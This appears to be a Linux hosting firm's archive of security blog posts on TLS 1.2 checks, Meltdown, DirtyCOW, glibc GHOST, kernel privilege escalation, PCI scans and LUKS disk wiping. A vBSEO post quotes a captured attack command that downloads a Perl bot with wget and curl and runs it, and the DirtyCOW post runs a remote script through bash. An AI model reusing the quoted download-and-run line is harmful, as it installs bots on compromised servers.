Check Authorize.net TLS 1.2 Support: tlsv1 alert protocol version

TLS v1.0 and v1.1 to be Disabled on February 28th, 2018

As you may be aware, Authorize.net is disabling TLS v1.0 and v1.1 at the end of this month.  More information about the disablement schedule is available here.

You may begin to see errors like the following if you have not already updated your system:

error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version

We can help you solve this issue as well as provide security hardening or PCI compliance service for your server. Please call or email if we may be of service!

Checking for TLS v1.2 Support

Most modern Linux releases support TLS v1.2, however, it would be best to check to avoid a surprise. These tests should work on most any Linux version including SUSE, Red Hat, CentOS, Debian, Ubuntu, and many others.

PHP

To check your server, you can use this simple PHP script. Make sure you are running this PHP code from the same PHP executable that runs your website. For example, you might have PHP compiled from source and also have it installed as a package. In some cases, one will work and the other will not:

<?php
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://apitest.authorize.net');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

if (($response = curl_exec($ch)) === false) {
 $error = curl_error($ch);
 print "$error\n";
}
else {
 $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 print "TLS OK: " . strlen($response) . " bytes received ($httpcode).\n";
}

curl_close($ch);
?>

Perl

As above, make sure that you are using the same Perl interpreter that your production site is using or you can end up with a false positive/false negative test. If you get output saying “403 – Forbidden: Access is denied” then it is working because TLS connected successfully.

# perl -MLWP::UserAgent -e 'print LWP::UserAgent->new->get("https://apitest.authorize.net")->decoded_content'
Can't connect to apitest.authorize.net:443

LWP::Protocol::https::Socket: SSL connect attempt failed with unknown errorerror:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version at /usr/lib/perl5/vendor_perl/5.10.0/LWP/Protocol/http.pm line 57.

OpenSSL/Generic

To check from the command line without PHP, you can use the following which shows a failed TLS negotiation:

# openssl s_client -connect apitest.authorize.net:443
CONNECTED(00000003)
30371:error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version:s23_clnt.c:605

Other Languages

If you use any language, we can help verify that your application is set up to work correctly.  Just let us know and we can work with you directly.  I hope this post helps, please comment below!

-Eric

Meltdown BUG: What about KVM/Xen/Docker/OpenVZ/LXC/PV-Xen/HyperV?

Different Variants: Meltdown and Spectre

This article discusses only Meltdown and its affect on hypervisor environments since it is the easiest to implement.  Note that Spectre is capable leaking hypervisor memory from all hypervisors running on affected processors (Intel and possibly AMD, ARM) but it is both more difficult to exploit and to mitigate.  Please read on to understand how Meltdown affects your virtualization stack:

How Meltdown Affects Virtualized Environments

Every hosting provider held their breath over the past week wondering if the as-of-yet undisclosed Intel hardware bug now released as “Meltdown” would affect their visualization stack. They all want to know: is this a hypervisor escalation!?  Here in this post we use the word “affected” meaning guest-to-hypervisor memory read access.

The Meltdown bug enables reading memory from address space represented by the same pagetable—anyone using virtual page tables is unaffected between virtual tables.  That is, Guest-to-Host pagetables are unaffected, only Guest-to-Guest or Host-to-Host, and of course Host-to-Guest since the host can already access the guest pages.

For a hosting provider this means different customer VMs on the same fully-virtualized hypervisor cannot access each others’ data—but—different users on the same guest instance can access each others’ data.  This latter part holds true for non-virtualized hardware as well: users under the same OS kernel can access each others’ data.  Thus, containers are affected!

Which Technologies Are Affected?

Fully virtualized technologies are not affected in the sense that guests cannot access host (hypervisor) memory.  However, an unprivileged guest process can still access privileged (and other unprivileged) guest process memory pages.  Container-based technologies are affected by Meltdown across container boundaries.

Affected Virtualization Technologies

Anything container based: neighbor containers can read other neighbor containers process memory.

  • Docker
  • LXC
  • OpenVZ
  • UML
  • Paravirtual Xen
  • Chroot Jails

Unaffected Virtualization Technologies

Any fully virtualized technology is unaffected.

  • KVM
  • Xen HVM
  • HyperV
  • VirtualBox (if using VT)

Solutions

  1. Update your distribution kernel if your OS distribution has released an update for CVE-2017-5715, CVE-2017-5753, and CVE-2017-5754. See this post for updated distribution kernel versions that address these CVEs: https://www.linuxglobal.com/spectre-meltdown-security-updates-distribution/
  2. If you cannot do #1, your best option is to install Linux 4.15-rc6 or one of the supported vanilla kernel patches in the link above.  On all systems.  Yes, 4.15-rc6 is a release candidate, but this kernel is receiving wide spread testing because of this bug.
  3. If this is not an option and you mostly trust the code running inside of the container, then you could run your container instances under KVM to isolate them from eachother to protect your guests and privileged container.
  4. If running Xen-PV, switch everything to Xen-HVM and hope for the best.  Many operating systems will boot in either environment unless your guest kernel was built specific to Xen PV—but there could be driver issues between the two.
  5. If you do not trust your users on a single host, then your best option is #1 above.

Remember, the only real fix is to install an updated kernel on all servers, physical or virtual.  Solutions 3and 4 only mitigate the problem since the guest is still vulnerable to interprocess memory reads.

Help!

We can help!  Just give us a call or send an email so we can make a plan and get you running secure, once again!

-Eric

 

 

 

Protect Your Server from Ransomware

Protect Your Business Servers from Ransomware!

The fundamental problem exploited by Ransomware is a lack of backup. At Linux Global, we protect our customers from Ransomware in a number of ways:

  • Frequent offsite backups
  • Realtime data replication for databases
  • Frequent server snapshots with offsite image backup

With these systems in place your data is safe, even in the event of your files being encrypted by Ransomware.

We can even protect your Windows server by using Linux to virtualize your infrastructure and maintain hourly snapshots with frequent offsite backups.

Call today and Ransomware-proof your infrastructure!

 

 

 

 

Dirty COW Fix: (CVE-2016-5195) Root Escalation

DirtyCOW: ptrace strikes again!

Actually, it’s not ptrace’s fault—but having ptrace disabled would mitigate the current proof of concept attacks, and possibly future attacks as well. Linus Torvalds recently fixed a get_dirty_pages race which could be used to escalate to root privileges on all kernels prior to October 13, 2016. This was not pushed into the stable kernels until October 23rd. Today, October 26th, Redhat and other vendors have started propagating these patches in downstream packages. Notably, as of this writing there is no fix for the RHEL/CentOS/Scientific Linux 5.x release, however there is a mitigation available on Redhat’s Bugzilla tracker here:
https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c13

Easy Fix (mitigate) for DirtyCOW CVE-2016-5195 Root Escalation

While the Bugzilla patch above explains what needs to be done, the process is not necessarily straight-forward. This script automates the process for EL5 and derivatives, and it should work more or less on EL6, but only if your devel packages are available for your current kernel. If not, then `yum install kernel` and reboot before running this script; In the EL6 case, there is no need to run this script after a kernel update as long as you are running the latest version noted below.

As noted on the Bugzilla link, “… note that this mitigation disables ptrace functionality which debuggers and programs that inspect other processes (virus scanners) use and thus these programs won’t be operational.”

You can run the script like so:

bash <(wget -qO - https://www.linuxglobal.com/static/blog/harden-dirtycow.sh)

Of course you probably want to review the script before running it, so click here to view:

https://www.linuxglobal.com/static/blog/harden-dirtycow.sh

What is Your Exposure?

You’re only vulnerable to this if a user can execute binaries that they introduce on your server. They might install this binary by compiling it onsite (but you remove gcc, right?), or by uploading a pre-compiled binary. Fortunately this means that environments who trust their users or who have no local users are safe. The bigger problem is with shared hosting environments such as those provided by WHM/cPanel/Plesk/Webmin and others.

These are the summary versions of kernels that contain the DirtyCOW fix:

RHEL/CentOS/Scientific Linux 6.x: 2.6.32-642.6.2
RHEL/CentOS/Scientific Linux 7.x: 3.10.0-327.36.3
Ubuntu 12.04: 3.2.0-113.155
Ubuntu 14.04: 3.13.0-100.147
Ubuntu 16.04: 4.4.0-45.66
Ubuntu 16.10: 4.8.0-26.28
Debian 7: 3.2.82-1
Debian 8: 3.16.36-1+deb8u2

Vanilla kernel longterm releases (or newer) that contain the DirtyCOW fix:

4.4.26
4.1.35
3.18.44
3.16.38
3.12.66
3.10.104
3.4.113
3.2.83

Future Hardening

This is not the first root escalation that has been leveraged by ptrace functionality, as you can see with a quick search for “ptrace root escalation”. I recommend that you turn off ptrace unless you are certain that you need it. Unfortunately the best way to do this is to re-compile your kernel and exclude ptrace support, but that is not always viable. If you’re running EL7 with SELinux enforcing (Check with `getenforce` which should print “Enforcing”), you can simply run this: `setsebool -P deny_ptrace on`.

You can also compile kernel modules such as the systemtap interface used above for the EL5 patch, but of course that requires a rebuild with gcc installed every time you update your kernel. It would be great if there was something in /sys or /proc that could globally disable the sys_ptrace_enter system call, but for the moment that is not an option.

-Eric

Secure package versions by distribution for GHOST CVE-2015-0235 (Debian/Ubuntu/CentOS)

glibc Ghost

Yep.  Its a bad one.  If an attacker can get your host to do a forward name lookup of their choosing, they may be able to execute arbitrary code.  Since libc is linked to (almost) all services in Linux, all services are affected. I expect the first attacks to be against the mail service Exim which will affect all WHM/cPanel users—but that is certainly only the tip of the iceburg.  We will see aftershocks from this exploit in unexpected ways for some time to come.

Update your packages ASAP. Here’s a quick reference for the versions you should see on common distributions.  glibc 2.19 is not affected.

Reboot after the update, libc stays resident until services restart.

CentOS 5 (RHEL/Scientific Linux 5)

yum install glibc nscd:
glibc 2.5-123.el5_11.1
nscd  2.5-123.el5_11.1

CentOS 6 (RHEL/Scientific Linux 6)

yum install glibc nscd:
glibc 2.12-1.149.el6_6.5
nscd  2.12-1.149.el6_6.5

CentOS 7 (RHEL/Scientific Linux 7)

yum install glibc nscd:
glibc 2.17-55.el7_0.5
nscd  2.17-55.el7_0.5

Debian 6 (squeeze)

apt-get update; apt-get install libc6
libc6  2.11.3-4+deb6u4

Debian 7 (wheezy)

apt-get update; apt-get install libc6
libc6  2.13-38+deb7u7

Debian Testing (jessie)

apt-get update; apt-get install libc6
libc6  2.19-13

Ubuntu 10.04 LTS

apt-get update; apt-get install libc6
libc6  2.11.1-0ubuntu7.20

 Ubuntu 12.04 LTS

apt-get update; apt-get install libc6
libc6  2.15-0ubuntu10.10

Ubuntu 14.04 LTS

apt-get update; apt-get install libc6
libc6  2.19-0ubuntu6

 

CVE-2013-2094: Linux Root Privilege Escalation Attack

On May 14th an attack in the wild began circling which enables non-root users to become root for kernels 2.6.37–3.8.8 (inclusive) compiled with PERF_EVENTS, in addition to cirtain earlier kernels containing the bug as a backport. This only affects 64-bit operating systems.  This is the best technical writeup I have seen on the subject: CVE-2013-2094 Perf Events Exploit Explained

Ubuntu 10.04 is not affected.
RHEL 5 are not affected.
Debian Squeeze is not affected.

Known Vulnerable Distributions and Kernel Versions

NOTE: You are extra-vulnerable if you have untrusted non-root users on your server!

CentOS/RHEL kernels earlier than 2.6.32-358.6.2
If you can’t reboot, try this fix: https://access.redhat.com/site/solutions/373743

Ubuntu 12.04 3.2 kernels earlier than 3.2.0-43.68
Ubuntu 12.04 3.5 kernels earlier than 3.5.0-30.51~precise1
Ubuntu 12.10 3.5 kernels earlier than 3.5.0-30.51
Ubuntu 13.04 3.8 kernels earlier than 3.8.0-21.32

Debian Wheezy 3.2 kernels earlier than 3.2.41-2+deb7u2
Debian Jessie 3.2 kernels earlier than 3.2.41-2+deb7u2
Debian unstable 3.8 kernels earlier than 3.8.11-1

There may be other back-ported kernels which have this vulnerability, so if in doubt, update your kernel!

Tightening CentOS/RHEL Security

While there is far more to hardening a server than this single example, this is an often overlooked security issue in many default installations of RHEL and RHEL-based distributions (CentOS, Scientific Linux, etc.)

CentOS and RHEL come with the isdn4k-utils and coolkey packages installed by default for graphical workstations.  Unfortunately, these packages create world-writable directories which binaries and scripts may execute from.  While it is common to tighten /tmp, /var/tmp and /usr/tmp against execution attacks, these directories often go un-noticed.

If you do not use these utilities (and few servers do), they can be easily removed:

yum remove isdn4k-utils coolkey

Of course if you are using these, then you should find a way to secure these mountpoints with the noexec mount option.  This can be done with a loopback filesystem mounted atop the offending mountpoints or with separate LVM volumes for each.

Traditionally, /var does not run executable code so you could mount the entire /var mountpoint as noexec.  Its a great security practice if you can support this, however, there are some packages which expect to run their update scripts out of /var/tmp/ so be prepared to fix some broken package updates or installations.  When you do have a package error, simply mount /var as executable:

mount -o remount,rw,exec /var

install the package, and then disable execution on the mountpoint:

mount -o remount,rw,noexec /var

I recommend nosuid and nodev mount options for these types of mount points as well to restrict less common attack vectors.

-Eric

Linux PCI Compliance: Passing the Scan

PCI Compliance Introduction

PCI compliance is required by the credit card card processing industry.  If you are a merchant provider, no doubt you have been contacted by a PCI compliance scanning vendor of some form, generally sponsored by your bank or merchant provider.

Passing a PCI compliance scan is not too difficult, though there are a few technical hurdles to pass.

 

Server and Network Scanning

Generally speaking, you are required to answer an (excessively) long series of security questions, many of which may have no relation to your business.  Further, they obtain your server IP addresses and scan your systems for security vulnerabilities.

The report format varies, but generally you receive a brief technical description for each item, usually linked to the CVE “Common Vulnerabilities and Exposures” database.  If you are technically inclined or have technical staff who understand what should be changed to pass the scan, then you can generally resolve this internally.

If not, then unfortunately the scanning vendors do not offer support when a compliance scan fails and you are left to your own devices.

 

Passing the PCI Compliance Scan for Linux

Keep in mind that the purpose of passing a scan isn’t just to pass: passing the scan means your server meets a minimum baseline security level for operation on the public Internet.  Not only will your merchant provider be tickled by your compliance, but your server will be more secure for the effort.

There are a series of general security practices that you can follow which will help you pass your scan and increase server security at the same time:

  • Run only the services which are absolutely necessary for your server’s operation
  • Install distribution package and security updates
  • Configure a firewall to minimize the scan surface available to the scanner or to an attacker
  • Use SSL certificates signed by a reputable certificate authority
  • Make sure intermediate SSL certificates are installed
  • Configure your SSL framework to force strong cryptographic ciphers
  • Be certain that the domain being scanned matches the common name on the certificates.  For example: if your SSL certificate is www.example.net but your website is www.example.com, then you will probably fail the PCI scan.
  • Use your web server’s document root for a single purpose.  For example, develop your new shiny website on a different or internal domain, not in the “/dev” or “/new” directory on your production site.
  • Make sure your web application is up to date—especially if your site is based on an old version of an open-source content management system such as WordPress or Joomla.
  • Dedicate one server per application function.  For example, have mail on a dedicated mail server, web on a dedicated web server.  Running both services on the same machine increases your security exposure and makes it more difficult to pass your PCI scan.

If you have followed these practices and are still having trouble passing your scan—or just want to increase your server’s security—then give me a call.  I’m always happy to help!

-Eric

 

 

vBulletin and vBSEO Exploit: Attacks in the Wild

We are seeing the use of this exploit in the wild:

BSEO <= 3.6.0 “proc_deutf()” Remote PHP Code Injection

Its been patched for over a year, but someone has automated scanning for vbseocp.php and hosts are getting compromised.

The fix is to update vBSEO to the latest version, and the source of the attack lives here: ./vbseo/includes/functions_vbseocp_abstract.php with improper escaping of the char_repl POST parameter.  This is vulnerable whether or not you have register_globals enabled.

The attack we are seeing takes the form of:

cd /tmp;wget ftp://user:pass@host/x.pl;curl -O ftp://user:pass@host/x.pl;perl x.pl;rm -rf x.pl

We have seen two distinct payloads: an IRC c&c bot and a spam engine executing from /tmp/.  The IRC bot sets its name as /usr/local/sbin/httpd to appear benign and makes outbound IRC connections.

If you think you may be infected, contact us as soon as possible so we can get this removed and locked down.  Our standard countermeasures would have prevented this attack even on unpatched hosts.

-Eric

Quickly fill a disk with random bits (without /dev/urandom)

When an encrypted medium is prepared for use, it is best practice to fill the disk end-to-end with random bits.  If the disk is not prepared with random bits, then an attacker could see which blocks have and have not been written, simply by running a block-by-block statistical analysis:  if the average 1/0 ratio is near 50%, its probably encrypted.  It may be simpler than this for new disks, since they tend to default with all-zero’s.

This is a well-known problem, and many will encourage you to use /dev/urandom to fill the disk.  Unfortuntaly, /dev/urandom is much slower than even rotational disks, let-alone GB/sec RAID on SSD’s:

root@geekdesk:~# dd if=/dev/urandom of=/dev/null bs=1M count=100
100+0 records in
100+0 records out
104857600 bytes (105 MB) copied, 7.24238 s, 14.5 MB/s
root@geekdesk:~#

So how can we fill a block device with random bits, quickly?  The answer might be surprising:  we use /dev/zero—but write to the encrypted device.  Once the encrypted device is full, we erase the LUKS header with /dev/urandom.  The second step is of course slower, but we need only overwrite the first 1MB so it takes a fraction of a second.

Note that the password we are using (below) needn’t be remembered—in fact, you shouldn’t be able to remember it.  Use something long and random for a password, and keep it just long enough to erase the volume.  I use base64 from /dev/urandom for password generation:

# 256 random bits
dd if=/dev/urandom bs=1 count=32 | base64

Now format the volume and map it with luksOpen.  Note that we are not using a filesystem—this is all at block-layer:

root@geekdesk:~# cryptsetup luksFormat /dev/loop3
This will overwrite data on /dev/loop3 irrevocably.
Are you sure? (Type uppercase yes): YES
Enter LUKS passphrase: <random one-time-use password>
Verify passphrase:
root@geekdesk:~# cryptsetup luksOpen /dev/loop3 testdev
Enter passphrase for /dev/loop3: <same password as above>

root@geekdesk:~# dd if=/dev/zero of=/dev/mapper/testdev bs=1M
dd: writing `/dev/mapper/testdev': No space left on device
99+0 records in
98+0 records out
103804928 bytes (104 MB) copied, 1.21521 s, 85.4 MB/s

See, more than 6x faster (the disk is most likely the 85MB/s bottleneck)!  This will save hours (or days) when preparing multi-terabyte volumes.  Now remove the device mapping, and urandom the first 1MB of the underlying device:

# This line is the same as "cryptsetup luksClose testdev"
root@geekdesk:~# dmsetup remove /dev/mapper/testdev
root@geekdesk:~# dd if=/dev/urandom of=/dev/loop3 bs=512 count=2056
2056+0 records in
2056+0 records out
1052672 bytes (1.1 MB) copied, 0.0952705 s, 11.0 MB/s

Note that we overwrote the first 2056 blocks from /dev/urandom.  2056 is the default LUKS payload offset, but you can verify that you’ve overwritten the correct number of blocks using luksDump:

root@geekdesk:~# cryptsetup luksDump /dev/loop3
LUKS header information for /dev/loop3

Version:           1
Cipher name:       aes
Cipher mode:       cbc-essiv:sha256
Hash spec:         sha1
Payload offset:    2056   [...snip...]

Now your volume is prepared with random bits, and you may format it with any cryptographic block-device mechanism you prefer, safe knowing that an attacker cannot tell which blocks are empty, and which are in use (assuming the attacker has a single point-in-time copy of the block device).

I like LUKS since it is based on PKCS#11 and includes features such multiple passphrase slots and passphrase changes (it never reveals the actual device key, your passphrase unlocks the real key), but other volume encryption devices exist—or you might export the volume via iSCSI/ATAoE/FCoE and use a proprietary block-layer encryption mechanism.

If someone can explain an attack against this mechanism, I would be glad to hear about it.  In this example we used AES in CBC mode so we are spreading the IV bits across the entire volume.  Conceivably one could write an AES-CTR mode tool with a random key to do the same thing and this may be a stronger mechanism.  (To my knowledge, the dm-crypt toolchain does not have a CTR mode, nor would you want one for general use).

The method above fails when an attacker can tell the difference between the original AES-CBC wipe with random bits (where all plaintext bits are set to zero)—and the new encryption mechanism with a different key that will be used in production atop of the prepared disk volume.  While there may be an attack for AES-CBC with all-zero’s (though I don’t think there is), AES-CTR mode by its definition would make this method more effective since each block is independent of the next.  One might be able to argue that AES-CBC creates an AES-CTR mode implementation where the counter is a permutation of AES itself.  If this can be proven, then both methods are equally secure.

Either way, this is likely better (and definitely faster) than /dev/urandom for filling a disk, since /dev/urandom is a pseudo-random number generator.  Using /dev/urandom for terabytes of data may begin to develop a pattern once its effective entropy pool is spread too thin.  Even with seed-help from /dev/random, /dev/urandom might run out of steam.

In the end, random bits XORed with random bits still look like random bits when placed next to other random bits—but you’re welcome to debate this.  Yay for crypto!

ok, now back to work 🙂

-Eric

Edit: Mon Sep 17 19:43:22 PDT 2012
Come to think of it, you don’t even need a password at the luksFormat stage.  LUKS generates its own strong random bits for the actual block-cipher key.  The passphrase just unlocks that key.  For the purposes of wiping the disk with random bits, you can use “<enter><enter>” as your passphrase… just make sure you wipe the LUKS header in step 2 from /dev/urandom.